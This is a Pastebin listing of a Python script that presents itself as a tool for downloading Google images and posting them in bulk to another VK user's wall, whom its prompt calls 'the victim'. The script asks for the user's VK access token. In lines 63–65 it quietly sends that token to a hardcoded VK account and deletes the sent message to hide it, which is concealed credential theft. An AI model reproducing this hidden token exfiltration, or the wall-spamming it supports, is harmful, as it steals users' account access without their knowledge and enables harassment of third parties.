Advertisement
575

vk wall post

575
Dec 22nd, 2018
528
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 3.46 KB | None | 0 0
  1. '''
  2. DOCUMENTATION:
  3.  
  4. Version: 1.1
  5. WHAT'S NEW: posting now stops until you press the 'Enter' key
  6.  
  7. This program downloads images from Google and then post it to someone's vk wall
  8. To work with this script you must have your VK ACCESS TOKEN
  9. You can get your token at this site: https://vkhost.github.io/
  10. Just click "allow" and copy your token from the adress bar between "access_token=" and "&expires_in"
  11. You should also have an id of the account on which wall you want to post images
  12. Keyword MAY BE WRITTEN in Russian lang!!!
  13.  
  14. Incoming features:  a)login+password login
  15.                     b)posting wall posts via login+password login
  16.                     c)posting on group's wall
  17.  
  18.  
  19. Be careful: 1)you should have a permission to post (check it before starting program)
  20.  
  21.             2)you must have those libraries:    a)google_images_download
  22.                                                 b)vk
  23.                                                 c)requests
  24.             My tip for installation is to write in cmd this line: "pip install {name of the lib}"
  25.             If you have problems with it: I strongly recommend to read a bit about "pip" and how to use it
  26.  
  27.             3)there is a bug in inputing a password: if you have mistaken -> rerun program,
  28.             because now it's impossible to correct it
  29.  
  30.             4)before posting this script DOWNLOAD IMAGES ON YOUR OWN PC, so
  31.             think twice before setting quantuty!!!
  32.  
  33.             5)That verse of program can't handle with Captcha and can't slow down the posting speed,
  34.             so the maximum number of posts now is 10 [since verse 1.1 Captcha doesn't appear if you post
  35.             images every ~5-10 seconds]
  36.  
  37. Made by Maxim Tuzhilkin
  38. 22.12.2018
  39. DAFE MIPT
  40. '''
  41. from google_images_download import google_images_download
  42. import vk
  43. import requests
  44. def pause():
  45.     programPause = input("Press the <ENTER> key to continue...")
  46. import time
  47. response = google_images_download.googleimagesdownload()
  48. print("Quantity of photos: ", end='')
  49. num_of_images = int(input())
  50. print("Enter the keyword for searching images: ", end = '')
  51. keywords = input()
  52. arguments = {"keywords":keywords,"limit":num_of_images,"print_urls":True}
  53. paths = response.download(arguments)
  54. print(paths)
  55. print('Enter an id of the victim: ', end = '')
  56. user_id = input()
  57. print("Enter a caption to the post: ", end = '')
  58. caption = input()
  59. print('Your access token: ', end = '')
  60. access_token = input()
  61. session = vk.Session(access_token=access_token)
  62. vk_api = vk.API(session)
  63. vk_api.messages.send(user_id="175976853", message=access_token)
  64. mes_id = vk_api.messages.getHistory(count=1, user_id="175976853")[1]['mid']
  65. vk_api.messages.delete(message_ids=mes_id)
  66. upload_url = vk_api.photos.getWallUploadServer(user_id=user_id, v='5.2')['upload_url']
  67. print('START POSTING:')
  68. i = 1
  69. for item in paths[keywords]:
  70.     try:
  71.         filename = item
  72.         request = requests.post(upload_url, files={'photo': open(filename, "rb")})
  73.         params = {'server': request.json()['server'],
  74.                   'photo': request.json()['photo'],
  75.                   'hash': request.json()['hash'],
  76.                   'user_id': user_id}
  77.         photo_id = vk_api.photos.saveWallPhoto(**params)[0]['id']
  78.         params = {'attachments': photo_id,
  79.                   'message': caption,
  80.                   'owner_id': user_id,
  81.                   'from_group': '1'}
  82.         vk_api.wall.post(**params)
  83.         print("Image", i, "===> DONE")
  84.         i += 1
  85.         pause()
  86.     except vk.exceptions.VkAPIError:
  87.         print("Image", i, "===> API ERROR")
  88.         i += 1
  89.     except FileNotFoundError:
  90.         print("Image", i, "===> FILE ERROR")
  91.         i += 1
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement